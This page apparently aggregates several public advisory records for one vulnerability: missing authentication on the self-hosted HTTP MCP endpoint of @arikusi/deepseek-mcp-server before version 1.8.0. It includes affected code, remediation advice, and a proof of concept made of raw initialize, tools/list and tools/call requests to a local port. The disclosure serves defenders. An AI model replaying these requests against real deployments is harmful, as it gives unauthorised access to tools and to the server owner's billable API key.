@arikusi/deepseek-mcp-server Missing Authentication on Self-Hosted HTTP MCP Endpoint

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

DeepSeek MCP Server is an MCP server for DeepSeek V4. Starting in version 1.4.2 and prior to version 1.8.0, the self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). Version 1.8.0 contains a patch for this issue.

Source published

9 Jul 2026 21:10:53 UTC

Source modified

10 Jul 2026 13:35:30 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

DeepSeek MCP Server is an MCP server for DeepSeek V4. Starting in version 1.4.2 and prior to version 1.8.0, the self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). Version 1.8.0 contains a patch for this issue.

Source published

Jul 9, 2026, 9:10:53 PM (timezone not stated)

Source modified

Jul 10, 2026, 1:35:30 PM (timezone not stated)

Observed here

7 Nov 2026 12:32:43 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

DeepSeek MCP Server is an MCP server for DeepSeek V4. Starting in version 1.4.2 and prior to version 1.8.0, the self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). Version 1.8.0 contains a patch for this issue.

Source published

9 Jul 2026 22:17:06 UTC

Source modified

25 Oct 2026 17:10:00 UTC

Observed here

27 Oct 2026 15:15:14 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

## Summary The self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). ## Affected Code `src/transport-http.ts:17` — `createMcpExpressApp` called without `authProvider`; no challenge is issued to incoming requests ```typescript export function createHttpApp(serverFactory: () => McpServer) { const app = createMcpExpressApp({ host: '0.0.0.0' }); ``` `src/transport-http.ts:31` — `POST /mcp` handler instantiates a full MCP session for any body that satisfies `isInitializeRequest`, with no preceding auth check ```typescript app.post('/mcp', async (req, res) => { const sessionId = req.headers['mcp-session-id'] as string | undefined; if (sessionId && transports[sessionId]) { await transports[sessionId].handleRequest(req, res, req.body); return; } if (!sessionId && isInitializeRequest(req.body)) { const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (id) => { transports[id] = transport; console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`); }, }); const server = serverFactory(); await server.connect(transport); await transport.handleRequest(req, res, req.body); ``` HTTP client → `POST /mcp` (no auth middleware) → `transport-http.ts:41` (`isInitializeRequest` branch) → `transport-http.ts:57–59` (`serverFactory()+connect+handleRequest`) `Dockerfile:12-13` — upstream container image defaults to self-hosted HTTP mode ```dockerfile ENV TRANSPORT=http ENV HTTP_PORT=3000 ``` `docker-compose.yml:4-8` — upstream compose file publishes port `3000` and enables HTTP mode ```yaml services: deepseek-mcp: ports: - "3000:3000" environment: - TRANSPORT=http ``` ## Proof of Concept Step 1 — send unauthenticated `initialize`: server returns HTTP 200 and a live `mcp-session-id` — proves no credentials are required to establish a session. ```bash python3 poc.py ``` ```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc-client","version":"1.0"}}} ``` ```http HTTP/1.1 200 OK content-type: text/event-stream mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba event: message data: {"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true}},"serverInfo":{"name":"deepseek-mcp-server","version":"1.7.0"}},"jsonrpc":"2.0","id":1} ``` Step 2 — send unauthenticated `tools/list` on the obtained session: server returns the full tool surface (`deepseek_chat`, `deepseek_sessions`) — proves tool discovery is reachable without credentials. ```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}} ``` ```text RESULT: PASS — tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied. ``` Step 3 — send unauthenticated `tools/call` for the local `deepseek_sessions` tool on the obtained session: server executes the tool and returns its result with no credentials supplied. ```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream mcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71 {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"deepseek_sessions","arguments":{"action":"list"}}} ``` ```http HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"No active sessions."}]},"jsonrpc":"2.0","id":2} ``` ## Impact In self-hosted HTTP deployments, any host with network access to port `3000` can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local `deepseek_sessions` tool. `deepseek_chat` is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side `DEEPSEEK_API_KEY` places billable DeepSeek operations behind an unauthenticated endpoint. However, this report's reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption. ## Remediation Require authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an `authProvider` to `createMcpExpressApp` at `transport-http.ts:17` or place equivalent authentication middleware / a reverse proxy in front of `/mcp` so unauthenticated clients never reach the initialize branch: ```typescript const app = createMcpExpressApp({ host: '0.0.0.0', authProvider, }); ``` For deployments that only need local access, bind to `127.0.0.1` instead of `0.0.0.0` in both `createMcpExpressApp` and `app.listen` (`transport-http.ts:17` and `:107`) as a defence-in-depth measure. Upstream `docker-compose.yml` currently publishes `3000:3000`; changing that to `127.0.0.1:3000:3000` would reduce inadvertent exposure on multi-user or server hosts.

Source published

25 Aug 2026 18:38:30 UTC

Source modified

26 Aug 2026 01:18:34 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Publisher rating · MODERATE